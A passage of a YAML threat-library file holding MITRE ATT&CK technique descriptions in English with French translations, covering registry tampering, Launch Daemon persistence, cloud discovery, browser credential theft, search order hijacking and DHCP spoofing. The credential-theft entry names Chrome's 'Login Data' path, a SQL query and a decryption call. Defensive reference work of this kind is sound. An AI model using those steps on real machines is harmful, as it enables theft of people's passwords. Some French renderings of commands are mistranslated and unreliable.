          \ d\u2019autres techniques pour faciliter la persistance et l\u2019ex\xE9\
          cution.\n\nL\u2019acc\xE8s \xE0 des zones sp\xE9cifiques du registre d\xE9\
          pend des autorisations du compte, certaines n\xE9cessitant un acc\xE8s de\
          \ niveau administrateur. L\u2019utilitaire de ligne de commande Windows\
          \ int\xE9gr\xE9 [Reg](https://attack.mitre.org/software/S0075) peut \xEA\
          tre utilis\xE9 pour la modification du registre local ou \xE0 distance.\
          \ (R\xE9f\xE9rence : Microsoft Reg) D\u2019autres outils peuvent \xE9galement\
          \ \xEAtre utilis\xE9s, tels qu\u2019un outil d\u2019acc\xE8s \xE0 distance,\
          \ qui peut contenir des fonctionnalit\xE9s permettant d\u2019interagir avec\
          \ le registre via l\u2019API Windows.\n\nLes modifications du registre peuvent\
          \ \xE9galement inclure des actions visant \xE0 masquer des cl\xE9s, telles\
          \ que l\u2019ajout d\u2019un caract\xE8re nul aux noms de touches, qui provoquera\
          \ une erreur et/ou sera ignor\xE9 lors de la lecture via [Reg](https://attack.mitre.org/software/S0075)\
          \ ou d\u2019autres utilitaires utilisant l\u2019API Win32. (R\xE9f\xE9rence\
          \ : Microsoft Reghide NOV 2006) Les adversaires peuvent abuser de ces cl\xE9\
          s pseudo-cach\xE9es pour dissimuler des charges utiles/commandes utilis\xE9\
          es pour maintenir la persistance. (Citation : TrendMicro POWELIKS AO\xDB\
          T 2014) (Citation : SpectorOps Hiding Reg juillet 2017)\n\nLe registre d\u2019\
          un syst\xE8me distant peut \xEAtre modifi\xE9 pour faciliter l\u2019ex\xE9\
          cution des fichiers dans le cadre d\u2019un mouvement lat\xE9ral. Il n\xE9\
          cessite que le service de registre distant s\u2019ex\xE9cute sur le syst\xE8\
          me cible. (Citation : Microsoft Remote) Souvent, des [comptes valides](https://attack.mitre.org/techniques/T1078)\
          \ sont n\xE9cessaires, ainsi qu\u2019un acc\xE8s aux [partages SMB/Windows\
          \ Admin](https://attack.mitre.org/techniques/T1021/002) du syst\xE8me distant\
          \ pour la communication RPC.\nhttps://attack.mitre.org/techniques/T1112"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1543.004
    ref_id: T1543.004
    name: Launch Daemon
    description: 'Adversaries may create or modify Launch Daemons to execute malicious
      payloads as part of persistence. Launch Daemons are plist files used to interact
      with Launchd, the service management framework used by macOS. Launch Daemons
      require elevated privileges to install, are executed for every user on a system
      prior to login, and run in the background without the need for user interaction.
      During the macOS initialization startup, the launchd process loads the parameters
      for launch-on-demand system-level daemons from plist files found in <code>/System/Library/LaunchDaemons/</code>
      and <code>/Library/LaunchDaemons/</code>. Required Launch Daemons parameters
      include a <code>Label</code> to identify the task, <code>Program</code> to provide
      a path to the executable, and <code>RunAtLoad</code> to specify when the task
      is run. Launch Daemons are often used to provide access to shared resources,
      updates to software, or conduct automation tasks.(Citation: AppleDocs Launch
      Agent Daemons)(Citation: Methods of Mac Malware Persistence)(Citation: launchd
      Keywords for plists)


      Adversaries may install a Launch Daemon configured to execute at startup by
      using the <code>RunAtLoad</code> parameter set to <code>true</code> and the
      <code>Program</code> parameter set to the malicious executable path. The daemon
      name may be disguised by using a name from a related operating system or benign
      software (i.e. [Masquerading](https://attack.mitre.org/techniques/T1036)). When
      the Launch Daemon is executed, the program inherits administrative permissions.(Citation:
      WireLurker)(Citation: OSX Malware Detection)


      Additionally, system configuration changes (such as the installation of third
      party package managing software) may cause folders such as <code>usr/local/bin</code>
      to become globally writeable. So, it is possible for poor configurations to
      allow an adversary to modify executables referenced by current Launch Daemon''s
      plist files.(Citation: LaunchDaemon Hijacking)(Citation: sentinelone macos persist
      Jun 2019)

      https://attack.mitre.org/techniques/T1543/004'
    translations:
      fr:
        name: Lancer Daemon
        description: "Les adversaires peuvent cr\xE9er ou modifier des d\xE9mons de\
          \ lancement pour ex\xE9cuter des charges utiles malveillantes dans le cadre\
          \ de la persistance. Les d\xE9mons de lancement sont des fichiers plist\
          \ utilis\xE9s pour interagir avec Launchd, l\u2019infrastructure de gestion\
          \ de services utilis\xE9e par macOS. L\u2019installation des d\xE9mons de\
          \ lancement n\xE9cessite des privil\xE8ges \xE9lev\xE9s, est ex\xE9cut\xE9\
          e pour chaque utilisateur d\u2019un syst\xE8me avant la connexion et s\u2019\
          ex\xE9cute en arri\xE8re-plan sans qu\u2019il soit n\xE9cessaire d\u2019\
          interagir avec l\u2019utilisateur. Lors du d\xE9marrage de l\u2019initialisation\
          \ de macOS, le processus launchd charge les param\xE8tres des d\xE9mons\
          \ syst\xE8me de lancement \xE0 la demande \xE0 partir des fichiers plist\
          \ trouv\xE9s dans <code>/System/Library/LaunchDaemons/</code> et <code>/Library/LaunchDaemons/</code>.\
          \ Les param\xE8tres de d\xE9mon de lancement requis incluent une <code>\xE9\
          tiquette</code> pour identifier la t\xE2che, un <code>programme</code> pour\
          \ fournir un chemin d\u2019acc\xE8s \xE0 l\u2019ex\xE9cutable et <code>RunAtLoad</code>\
          \ pour sp\xE9cifier le moment de l\u2019ex\xE9cution de la t\xE2che. Les\
          \ d\xE9mons de lancement sont souvent utilis\xE9s pour fournir un acc\xE8\
          s \xE0 des ressources partag\xE9es, des mises \xE0 jour de logiciels ou\
          \ des t\xE2ches d\u2019automatisation. (Citation : d\xE9mons de l\u2019\
          agent de lancement AppleDocs)(Citation : M\xE9thodes de persistance des\
          \ logiciels malveillants Mac)(Citation\_: launchd Mots-cl\xE9s pour plists)\n\
          \nLes adversaires peuvent installer un d\xE9mon de lancement configur\xE9\
          \ pour s\u2019ex\xE9cuter au d\xE9marrage \xE0 l\u2019aide du param\xE8\
          tre <code>RunAtLoad</code> d\xE9fini sur <code>true</code> et du param\xE8\
          tre <code>Program</code> d\xE9fini sur le chemin d\u2019acc\xE8s de l\u2019\
          ex\xE9cutable malveillant. Le nom du d\xE9mon peut \xEAtre d\xE9guis\xE9\
          \ en utilisant un nom provenant d\u2019un syst\xE8me d\u2019exploitation\
          \ associ\xE9 ou d\u2019un logiciel inoffensif (c\u2019est-\xE0-dire [Masquerading](https://attack.mitre.org/techniques/T1036)).\
          \ Lorsque le d\xE9mon de lancement est ex\xE9cut\xE9, le programme h\xE9\
          rite des autorisations administratives. (Citation : WireLurker)(Citation\
          \ : D\xE9tection des logiciels malveillants OSX)\n\nDe plus, les modifications\
          \ de la configuration du syst\xE8me (telles que l\u2019installation d\u2019\
          un logiciel de gestion de paquets tiers) peuvent rendre des dossiers tels\
          \ que <code>usr/local/bin accessibles en</code> \xE9criture \xE0 l\u2019\
          \xE9chelle mondiale. Ainsi, il est possible que des configurations m\xE9\
          diocres permettent \xE0 un adversaire de modifier les ex\xE9cutables r\xE9\
          f\xE9renc\xE9s par les fichiers plist de Launch Daemon actuels. (Citation\
          \ : D\xE9tournement de LaunchDaemon)(Citation : sentinelone macos persist\
          \ juin 2019)\nhttps://attack.mitre.org/techniques/T1543/004"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1580
    ref_id: T1580
    name: Cloud Infrastructure Discovery
    description: "An adversary may attempt to discover infrastructure and resources\
      \ that are available within an infrastructure-as-a-service (IaaS) environment.\
      \ This includes compute service resources such as instances, virtual machines,\
      \ and snapshots as well as resources of other services including the storage\
      \ and database services.\n\nCloud providers offer methods such as APIs and commands\
      \ issued through CLIs to serve information about infrastructure. For example,\
      \ AWS provides a <code>DescribeInstances</code> API within the Amazon EC2 API\
      \ that can return information about one or more instances within an account,\
      \ the <code>ListBuckets</code> API that returns a list of all buckets owned\
      \ by the authenticated sender of the request, the <code>HeadBucket</code> API\
      \ to determine a bucket\u2019s existence along with access permissions of the\
      \ request sender, or the <code>GetPublicAccessBlock</code> API to retrieve access\
      \ block configuration for a bucket.(Citation: Amazon Describe Instance)(Citation:\
      \ Amazon Describe Instances API)(Citation: AWS Get Public Access Block)(Citation:\
      \ AWS Head Bucket) Similarly, GCP's Cloud SDK CLI provides the <code>gcloud\
      \ compute instances list</code> command to list all Google Compute Engine instances\
      \ in a project (Citation: Google Compute Instances), and Azure's CLI command\
      \ <code>az vm list</code> lists details of virtual machines.(Citation: Microsoft\
      \ AZ CLI) In addition to API commands, adversaries can utilize open source tools\
      \ to discover cloud storage infrastructure through [Wordlist Scanning](https://attack.mitre.org/techniques/T1595/003).(Citation:\
      \ Malwarebytes OSINT Leaky Buckets - Hioureas)\n\nAn adversary may enumerate\
      \ resources using a compromised user's access keys to determine which are available\
      \ to that user.(Citation: Expel IO Evil in AWS) The discovery of these available\
      \ resources may help adversaries determine their next steps in the Cloud environment,\
      \ such as establishing Persistence.(Citation: Mandiant M-Trends 2020)An adversary\
      \ may also use this information to change the configuration to make the bucket\
      \ publicly accessible, allowing data to be accessed without authentication.\
      \ Adversaries have also may use infrastructure discovery APIs such as <code>DescribeDBInstances</code>\
      \ to determine size, owner, permissions, and network ACLs of database resources.\
      \ (Citation: AWS Describe DB Instances) Adversaries can use this information\
      \ to determine the potential value of databases and discover the requirements\
      \ to access them. Unlike in [Cloud Service Discovery](https://attack.mitre.org/techniques/T1526),\
      \ this technique focuses on the discovery of components of the provided services\
      \ rather than the services themselves.\nhttps://attack.mitre.org/techniques/T1580"
    translations:
      fr:
        name: "D\xE9couverte de l\u2019infrastructure cloud"
        description: "Un adversaire peut tenter de d\xE9couvrir l\u2019infrastructure\
          \ et les ressources disponibles dans un environnement d\u2019infrastructure\
          \ en tant que service (IaaS). Cela inclut les ressources de service de calcul\
          \ telles que les instances, les machines virtuelles et les instantan\xE9\
          s, ainsi que les ressources d\u2019autres services, notamment les services\
          \ de stockage et de base de donn\xE9es.\n\nLes fournisseurs de cloud proposent\
          \ des m\xE9thodes telles que des API et des commandes \xE9mises par le biais\
          \ d\u2019interfaces de ligne de commande pour fournir des informations sur\
          \ l\u2019infrastructure. Par exemple, AWS fournit une API <code>DescribeInstances</code>\
          \ au sein de l\u2019API Amazon EC2 qui peut renvoyer des informations sur\
          \ une ou plusieurs instances d\u2019un compte, l\u2019API <code>ListBuckets</code>\
          \ qui renvoie une liste de tous les compartiments appartenant \xE0 l\u2019\
          exp\xE9diteur authentifi\xE9 de la demande, l\u2019API <code>HeadBucket</code>\
          \ pour d\xE9terminer l\u2019existence d\u2019un compartiment ainsi que les\
          \ autorisations d\u2019acc\xE8s de l\u2019exp\xE9diteur de la demande, \
          \ ou l\u2019API <code>GetPublicAccessBlock</code> pour r\xE9cup\xE9rer la\
          \ configuration du bloc d\u2019acc\xE8s pour un compartiment. (citation\
          \ : Amazon Describe Instance)(Citation : API Amazon Describe Instances)(Citation\
          \ : AWS Get Public Access Block)(Citation : AWS Head Bucket) De m\xEAme,\
          \ l\u2019interface de ligne de commande Cloud SDK de GCP fournit la commande\
          \ <code>gcloud compute instances list</code> pour r\xE9pertorier toutes\
          \ les instances Google Compute Engine d\u2019un projet (Citation : Google\
          \ Compute Instances), et la commande CLI <code>az vm list</code> d\u2019\
          Azure r\xE9pertorie les d\xE9tails des machines virtuelles. (Citation :\
          \ Microsoft AZ CLI) En plus des commandes API, les adversaires peuvent utiliser\
          \ des outils open source pour d\xE9couvrir l\u2019infrastructure de stockage\
          \ dans le cloud via [Wordlist Scanning](https://attack.mitre.org/techniques/T1595/003).\
          \ (Citation : Malwarebytes OSINT Leaky Buckets - Hioureas)\n\nUn adversaire\
          \ peut \xE9num\xE9rer des ressources \xE0 l\u2019aide des cl\xE9s d\u2019\
          acc\xE8s d\u2019un utilisateur compromis pour d\xE9terminer celles qui sont\
          \ disponibles pour cet utilisateur. (Citation : Expulser IO Evil dans AWS)\
          \ La d\xE9couverte de ces ressources disponibles peut aider les adversaires\
          \ \xE0 d\xE9terminer leurs prochaines \xE9tapes dans l\u2019environnement\
          \ Cloud, telles que l\u2019\xE9tablissement de la persistance. (Citation\
          \ : Mandiant M-Trends 2020)Un adversaire peut \xE9galement utiliser ces\
          \ informations pour modifier la configuration afin de rendre le compartiment\
          \ accessible au public, ce qui permet d\u2019acc\xE9der aux donn\xE9es sans\
          \ authentification. Les adversaires peuvent \xE9galement utiliser des API\
          \ de d\xE9couverte d\u2019infrastructure telles que <code>DescribeDBInstances</code>\
          \ pour d\xE9terminer la taille, le propri\xE9taire, les autorisations et\
          \ les listes de contr\xF4le d\u2019acc\xE8s r\xE9seau des ressources de\
          \ base de donn\xE9es. (citation : AWS d\xE9crit les instances de base de\
          \ donn\xE9es) Les adversaires peuvent utiliser ces informations pour d\xE9\
          terminer la valeur potentielle des bases de donn\xE9es et d\xE9couvrir les\
          \ conditions requises pour y acc\xE9der. Contrairement \xE0 [Cloud Service\
          \ Discovery](https://attack.mitre.org/techniques/T1526), cette technique\
          \ se concentre sur la d\xE9couverte des composants des services fournis\
          \ plut\xF4t que sur les services eux-m\xEAmes.\nhttps://attack.mitre.org/techniques/T1580"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1555.003
    ref_id: T1555.003
    name: Credentials from Web Browsers
    description: "Adversaries may acquire credentials from web browsers by reading\
      \ files specific to the target browser.(Citation: Talos Olympic Destroyer 2018)\
      \ Web browsers commonly save credentials such as website usernames and passwords\
      \ so that they do not need to be entered manually in the future. Web browsers\
      \ typically store the credentials in an encrypted format within a credential\
      \ store; however, methods exist to extract plaintext credentials from web browsers.\n\
      \nFor example, on Windows systems, encrypted credentials may be obtained from\
      \ Google Chrome by reading a database file, <code>AppData\\Local\\Google\\Chrome\\\
      User Data\\Default\\Login Data</code> and executing a SQL query: <code>SELECT\
      \ action_url, username_value, password_value FROM logins;</code>. The plaintext\
      \ password can then be obtained by passing the encrypted credentials to the\
      \ Windows API function <code>CryptUnprotectData</code>, which uses the victim\u2019\
      s cached logon credentials as the decryption key.(Citation: Microsoft CryptUnprotectData\
      \ April 2018)\n \nAdversaries have executed similar procedures for common web\
      \ browsers such as FireFox, Safari, Edge, etc.(Citation: Proofpoint Vega Credential\
      \ Stealer May 2018)(Citation: FireEye HawkEye Malware July 2017) Windows stores\
      \ Internet Explorer and Microsoft Edge credentials in Credential Lockers managed\
      \ by the [Windows Credential Manager](https://attack.mitre.org/techniques/T1555/004).\n\
      \nAdversaries may also acquire credentials by searching web browser process\
      \ memory for patterns that commonly match credentials.(Citation: GitHub Mimikittenz\
      \ July 2016)\n\nAfter acquiring credentials from web browsers, adversaries may\
      \ attempt to recycle the credentials across different systems and/or accounts\
      \ in order to expand access. This can result in significantly furthering an\
      \ adversary's objective in cases where credentials gained from web browsers\
      \ overlap with privileged accounts (e.g. domain administrator).\nhttps://attack.mitre.org/techniques/T1555/003"
    translations:
      fr:
        name: "Informations d\u2019identification des navigateurs Web"
        description: "Les adversaires peuvent acqu\xE9rir des informations d\u2019\
          identification \xE0 partir de navigateurs Web en lisant des fichiers sp\xE9\
          cifiques au navigateur cible. (Citation : Talos Olympic Destroyer 2018)\
          \ Les navigateurs Web enregistrent g\xE9n\xE9ralement des informations d\u2019\
          identification telles que les noms d\u2019utilisateur et les mots de passe\
          \ afin qu\u2019elles n\u2019aient pas besoin d\u2019\xEAtre saisies manuellement\
          \ \xE0 l\u2019avenir. Les navigateurs Web stockent g\xE9n\xE9ralement les\
          \ informations d\u2019identification dans un format chiffr\xE9 au sein d\u2019\
          un magasin d\u2019informations d\u2019identification. Cependant, il existe\
          \ des m\xE9thodes pour extraire les informations d\u2019identification en\
          \ texte brut des navigateurs Web.\n\nPar exemple, sur les syst\xE8mes Windows,\
          \ les informations d\u2019identification chiffr\xE9es peuvent \xEAtre obtenues\
          \ \xE0 partir de Google Chrome en lisant un fichier de base de donn\xE9\
          es, <code>AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data</code>\
          \ et en ex\xE9cutant une requ\xEAte SQL : <code>SELECT action_url, username_value\
          \ password_value FROM logins\_;</code>. Le mot de passe en clair peut ensuite\
          \ \xEAtre obtenu en transmettant les informations d\u2019identification\
          \ chiffr\xE9es \xE0 la fonction <code>d\u2019API Windows CryptUnprotectData</code>,\
          \ qui utilise les informations d\u2019identification de connexion mises\
          \ en cache de la victime comme cl\xE9 de d\xE9chiffrement. (Citation : Microsoft\
          \ CryptUnprotectData, avril 2018)\n \nLes adversaires ont ex\xE9cut\xE9\
          \ des proc\xE9dures similaires pour les navigateurs Web courants tels que\
          \ FireFox, Safari, Edge, etc. (Citation : Proofpoint Vega Credential Stealer\
          \ mai 2018) (Citation : FireEye HawkEye Malware juillet 2017) Windows stocke\
          \ les informations d\u2019identification Internet Explorer et Microsoft\
          \ Edge dans des verrouilles d\u2019informations d\u2019identification g\xE9\
          r\xE9s par le [Windows Credential Manager](https://attack.mitre.org/techniques/T1555/004).\n\
          \nLes adversaires peuvent \xE9galement acqu\xE9rir des informations d\u2019\
          identification en recherchant dans la m\xE9moire de processus du navigateur\
          \ Web des mod\xE8les qui correspondent g\xE9n\xE9ralement aux informations\
          \ d\u2019identification. (Citation : GitHub Mimikittenz juillet 2016)\n\n\
          Apr\xE8s avoir acquis des informations d\u2019identification \xE0 partir\
          \ de navigateurs Web, les adversaires peuvent tenter de recycler les informations\
          \ d\u2019identification sur diff\xE9rents syst\xE8mes et/ou comptes afin\
          \ d\u2019\xE9tendre l\u2019acc\xE8s. Cela peut avoir pour effet de favoriser\
          \ consid\xE9rablement l\u2019objectif d\u2019un adversaire dans les cas\
          \ o\xF9 les informations d\u2019identification obtenues \xE0 partir de navigateurs\
          \ Web chevauchent des comptes privil\xE9gi\xE9s (par exemple, un administrateur\
          \ de domaine).\nhttps://attack.mitre.org/techniques/T1555/003"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1574.008
    ref_id: T1574.008
    name: Path Interception by Search Order Hijacking
    description: 'Adversaries may execute their own malicious payloads by hijacking
      the search order used to load other programs. Because some programs do not call
      other programs using the full path, adversaries may place their own file in
      the directory where the calling program is located, causing the operating system
      to launch their malicious software at the request of the calling program.


      Search order hijacking occurs when an adversary abuses the order in which Windows
      searches for programs that are not given a path. Unlike [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1574/001),
      the search order differs depending on the method that is used to execute the
      program. (Citation: Microsoft CreateProcess) (Citation: Windows NT Command Shell)
      (Citation: Microsoft WinExec) However, it is common for Windows to search in
      the directory of the initiating program before searching through the Windows
      system directory. An adversary who finds a program vulnerable to search order
      hijacking (i.e., a program that does not specify the path to an executable)
      may take advantage of this vulnerability by creating a program named after the
      improperly specified program and placing it within the initiating program''s
      directory.


      For example, "example.exe" runs "cmd.exe" with the command-line argument <code>net
      user</code>. An adversary may place a program called "net.exe" within the same
      directory as example.exe, "net.exe" will be run instead of the Windows system
      utility net. In addition, if an adversary places a program called "net.com"
      in the same directory as "net.exe", then <code>cmd.exe /C net user</code> will
      execute "net.com" instead of "net.exe" due to the order of executable extensions
      defined under PATHEXT. (Citation: Microsoft Environment Property)


      Search order hijacking is also a common practice for hijacking DLL loads and
      is covered in [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1574/001).

      https://attack.mitre.org/techniques/T1574/008'
    translations:
      fr:
        name: "Interception de chemin par d\xE9tournement d\u2019ordre de recherche"
        description: "Les adversaires peuvent ex\xE9cuter leurs propres charges utiles\
          \ malveillantes en d\xE9tournant l\u2019ordre de recherche utilis\xE9 pour\
          \ charger d\u2019autres programmes. \xC9tant donn\xE9 que certains programmes\
          \ n\u2019appellent pas d\u2019autres programmes en utilisant le chemin d\u2019\
          acc\xE8s complet, les adversaires peuvent placer leur propre fichier dans\
          \ le r\xE9pertoire o\xF9 se trouve le programme appelant, ce qui oblige\
          \ le syst\xE8me d\u2019exploitation \xE0 lancer leur logiciel malveillant\
          \ \xE0 la demande du programme appelant.\n\nLe d\xE9tournement de l\u2019\
          ordre de recherche se produit lorsqu\u2019un adversaire abuse de l\u2019\
          ordre dans lequel Windows recherche des programmes qui ne re\xE7oivent pas\
          \ de chemin d\u2019acc\xE8s. Contrairement \xE0 [D\xE9tournement de l\u2019\
          ordre de recherche DLL](https://attack.mitre.org/techniques/T1574/001),\
          \ l\u2019ordre de recherche diff\xE8re selon la m\xE9thode utilis\xE9e pour\
          \ ex\xE9cuter le programme. (Citation : Microsoft CreateProcess) (Citation\
          \ : Windows NT Command Shell) (Citation : Microsoft WinExec) Cependant,\
          \ il est courant pour Windows d\u2019effectuer une recherche dans le r\xE9\
          pertoire du programme initiateur avant de rechercher dans le r\xE9pertoire\
          \ syst\xE8me de Windows. Un adversaire qui trouve un programme vuln\xE9\
          rable au d\xE9tournement d\u2019ordre de recherche (c\u2019est-\xE0-dire\
          \ un programme qui ne sp\xE9cifie pas le chemin d\u2019acc\xE8s \xE0 un\
          \ ex\xE9cutable) peut tirer parti de cette vuln\xE9rabilit\xE9 en cr\xE9\
          ant un programme nomm\xE9 d\u2019apr\xE8s le programme mal sp\xE9cifi\xE9\
          \ et en le pla\xE7ant dans le r\xE9pertoire du programme initiateur.\n\n\
          Par exemple, \xAB\_example.exe\_\xBB ex\xE9cute \xAB\_cmd.exe\_\xBB avec\
          \ l\u2019argument de ligne de commande <code>net user</code>. Un adversaire\
          \ peut placer un programme appel\xE9 \xAB\_net.exe\_\xBB dans le m\xEAme\
          \ r\xE9pertoire que example.exe, \xAB\_net.exe\_\xBB sera ex\xE9cut\xE9\
          \ \xE0 la place du r\xE9seau de l\u2019utilitaire syst\xE8me Windows. De\
          \ plus, si un adversaire place un programme appel\xE9 \xAB\_net.com\_\xBB\
          \ dans le m\xEAme r\xE9pertoire que \xAB\_net.exe\_\xBB, alors <code>cmd.exe\
          \ utilisateur net /C</code> ex\xE9cutera \xAB\_net.com\_\xBB au lieu de\
          \ \xAB\_net.exe\_\xBB en raison de l\u2019ordre des extensions ex\xE9cutables\
          \ d\xE9fini sous PATHEXT. (citation : Propri\xE9t\xE9 de l\u2019environnement\
          \ Microsoft)\n\nLe d\xE9tournement d\u2019ordre de recherche est \xE9galement\
          \ une pratique courante pour le d\xE9tournement de charges DLL et est couvert\
          \ dans [D\xE9tournement d\u2019ordre de recherche DLL](https://attack.mitre.org/techniques/T1574/001).\n\
          https://attack.mitre.org/techniques/T1574/008"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1491
    ref_id: T1491
    name: Defacement
    description: 'Adversaries may modify visual content available internally or externally
      to an enterprise network, thus affecting the integrity of the original content.
      Reasons for [Defacement](https://attack.mitre.org/techniques/T1491) include
      delivering messaging, intimidation, or claiming (possibly false) credit for
      an intrusion. Disturbing or offensive images may be used as a part of [Defacement](https://attack.mitre.org/techniques/T1491)
      in order to cause user discomfort, or to pressure compliance with accompanying
      messages.

      https://attack.mitre.org/techniques/T1491'
    translations:
      fr:
        name: "D\xE9gradation"
        description: "Les adversaires peuvent modifier le contenu visuel disponible\
          \ en interne ou en externe sur un r\xE9seau d\u2019entreprise, affectant\
          \ ainsi l\u2019int\xE9grit\xE9 du contenu d\u2019origine. Les raisons de\
          \ [Defigurement](https://attack.mitre.org/techniques/T1491) comprennent\
          \ l\u2019envoi de messages, l\u2019intimidation ou la revendication (\xE9\
          ventuellement fausse) du cr\xE9dit d\u2019une intrusion. Des images d\xE9\
          rangeantes ou offensantes peuvent \xEAtre utilis\xE9es dans le cadre de\
          \ [D\xE9gradation](https://attack.mitre.org/techniques/T1491) afin de causer\
          \ un malaise \xE0 l\u2019utilisateur ou de faire pression sur le respect\
          \ des messages d\u2019accompagnement.\nhttps://attack.mitre.org/techniques/T1491"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1535
    ref_id: T1535
    name: Unused/Unsupported Cloud Regions
    description: 'Adversaries may create cloud instances in unused geographic service
      regions in order to evade detection. Access is usually obtained through compromising
      accounts used to manage cloud infrastructure.


      Cloud service providers often provide infrastructure throughout the world in
      order to improve performance, provide redundancy, and allow customers to meet
      compliance requirements. Oftentimes, a customer will only use a subset of the
      available regions and may not actively monitor other regions. If an adversary
      creates resources in an unused region, they may be able to operate undetected.


      A variation on this behavior takes advantage of differences in functionality
      across cloud regions. An adversary could utilize regions which do not support
      advanced detection services in order to avoid detection of their activity.


      An example of adversary use of unused AWS regions is to mine cryptocurrency
      through [Resource Hijacking](https://attack.mitre.org/techniques/T1496), which
      can cost organizations substantial amounts of money over time depending on the
      processing power used.(Citation: CloudSploit - Unused AWS Regions)

      https://attack.mitre.org/techniques/T1535'
    translations:
      fr:
        name: "R\xE9gions cloud inutilis\xE9es/non prises en charge"
        description: "Les adversaires peuvent cr\xE9er des instances cloud dans des\
          \ r\xE9gions de service g\xE9ographiques inutilis\xE9es afin d\u2019\xE9\
          chapper \xE0 la d\xE9tection. L\u2019acc\xE8s est g\xE9n\xE9ralement obtenu\
          \ par le biais de comptes compromettants utilis\xE9s pour g\xE9rer l\u2019\
          infrastructure cloud.\n\nLes fournisseurs de services cloud fournissent\
          \ souvent une infrastructure dans le monde entier afin d\u2019am\xE9liorer\
          \ les performances, d\u2019assurer la redondance et de permettre aux clients\
          \ de r\xE9pondre aux exigences de conformit\xE9. Souvent, un client n\u2019\
          utilise qu\u2019un sous-ensemble des r\xE9gions disponibles et ne surveille\
          \ pas activement les autres r\xE9gions. Si un adversaire cr\xE9e des ressources\
          \ dans une r\xE9gion inutilis\xE9e, il peut \xEAtre en mesure d\u2019op\xE9\
          rer sans \xEAtre d\xE9tect\xE9.\n\nUne variante de ce comportement tire\
          \ parti des diff\xE9rences de fonctionnalit\xE9s entre les r\xE9gions cloud.\
          \ Un adversaire peut utiliser des r\xE9gions qui ne prennent pas en charge\
          \ les services de d\xE9tection avanc\xE9s afin d\u2019\xE9viter la d\xE9\
          tection de son activit\xE9.\n\nUn exemple d\u2019utilisation par l\u2019\
          adversaire de r\xE9gions AWS inutilis\xE9es est le minage de cryptomonnaie\
          \ par le biais du [d\xE9tournement de ressources](https://attack.mitre.org/techniques/T1496),\
          \ ce qui peut co\xFBter des sommes d\u2019argent consid\xE9rables aux organisations\
          \ au fil du temps en fonction de la puissance de traitement utilis\xE9e.\
          \ (Citation : CloudSploit - R\xE9gions AWS inutilis\xE9es)\nhttps://attack.mitre.org/techniques/T1535"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1557.003
    ref_id: T1557.003
    name: DHCP Spoofing
    description: "Adversaries may redirect network traffic to adversary-owned systems\
      \ by spoofing Dynamic Host Configuration Protocol (DHCP) traffic and acting\
      \ as a malicious DHCP server on the victim network. By achieving the adversary-in-the-middle\
      \ (AiTM) position, adversaries may collect network communications, including\
      \ passed credentials, especially those sent over insecure, unencrypted protocols.\
      \ This may also enable follow-on behaviors such as [Network Sniffing](https://attack.mitre.org/techniques/T1040)\
      \ or [Transmitted Data Manipulation](https://attack.mitre.org/techniques/T1565/002).\n\
      \nDHCP is based on a client-server model and has two functionalities: a protocol\
      \ for providing network configuration settings from a DHCP server to a client\
      \ and a mechanism for allocating network addresses to clients.(Citation: rfc2131)\
      \ The typical server-client interaction is as follows: \n\n1. The client broadcasts\
      \ a `DISCOVER` message.\n\n2. The server responds with an `OFFER` message, which\
      \ includes an available network address. \n\n3. The client broadcasts a `REQUEST`\
      \ message, which includes the network address offered. \n\n4. The server acknowledges\
      \ with an `ACK` message and the client receives the network configuration parameters.\n\
      \nAdversaries may spoof as a rogue DHCP server on the victim network, from which\
      \ legitimate hosts may receive malicious network configurations. For example,\
      \ malware can act as a DHCP server and provide adversary-owned DNS servers to\
      \ the victimized computers.(Citation: new_rogue_DHCP_serv_malware)(Citation:\
      \ w32.tidserv.g) Through the malicious network configurations, an adversary\
      \ may achieve the AiTM position, route client traffic through adversary-controlled\
      \ systems, and collect information from the client network.\n\nDHCPv6 clients\
      \ can receive network configuration information without being assigned an IP\
      \ address by sending a <code>INFORMATION-REQUEST (code 11)</code> message to\
      \ the <code>All_DHCP_Relay_Agents_and_Servers</code> multicast address.(Citation:\
      \ rfc3315) Adversaries may use their rogue DHCP server to respond to this request\
      \ message with malicious network configurations.\n\nRather than establishing\
      \ an AiTM position, adversaries may also abuse DHCP spoofing to perform a DHCP\
      \ exhaustion attack (i.e, [Service Exhaustion Flood](https://attack.mitre.org/techniques/T1499/002))\
      \ by generating many broadcast DISCOVER messages to exhaust a network\u2019\
      s DHCP allocation pool.\nhttps://attack.mitre.org/techniques/T1557/003"
    translations:
      fr:
        name: Usurpation DHCP
        description: "Les adversaires peuvent rediriger le trafic r\xE9seau vers des\
          \ syst\xE8mes appartenant \xE0 l\u2019adversaire en usurpant le trafic DHCP\
          \ (Dynamic Host Configuration Protocol) et en agissant comme un serveur\
          \ DHCP malveillant sur le r\xE9seau victime. En atteignant la position de\
          \ l\u2019adversaire interm\xE9diaire (AiTM), les adversaires peuvent collecter\
          \ les communications r\xE9seau, y compris les informations d\u2019identification\
          \ transmises, en particulier celles envoy\xE9es via des protocoles non s\xE9\
          curis\xE9s et non chiffr\xE9s. Cela peut \xE9galement permettre des comportements\
          \ ult\xE9rieurs tels que [Reniflage de r\xE9seau](https://attack.mitre.org/techniques/T1040)\
          \ ou [Manipulation de donn\xE9es transmises](https://attack.mitre.org/techniques/T1565/002).\n\
          \nDHCP est bas\xE9 sur un mod\xE8le client-serveur et dispose de deux fonctionnalit\xE9\
          s : un protocole permettant de fournir des param\xE8tres de configuration\
          \ r\xE9seau d\u2019un serveur DHCP \xE0 un client et un m\xE9canisme d\u2019\
          attribution d\u2019adresses r\xE9seau aux clients. (Citation : rfc2131)\
          \ L\u2019interaction serveur-client typique est la suivante : \n\n1. Le\
          \ client diffuse un message \xAB DISCOVER \xBB.\n\n2. Le serveur r\xE9pond\
          \ par un message \xAB OFFER \xBB, qui comprend une adresse r\xE9seau disponible.\
          \ \n\n3. Le client diffuse un message \xAB REQUEST \xBB, qui inclut l\u2019\
          adresse r\xE9seau propos\xE9e. \n\n4. Le serveur accuse r\xE9ception avec\
          \ un message \xAB ACK \xBB et le client re\xE7oit les param\xE8tres de configuration\
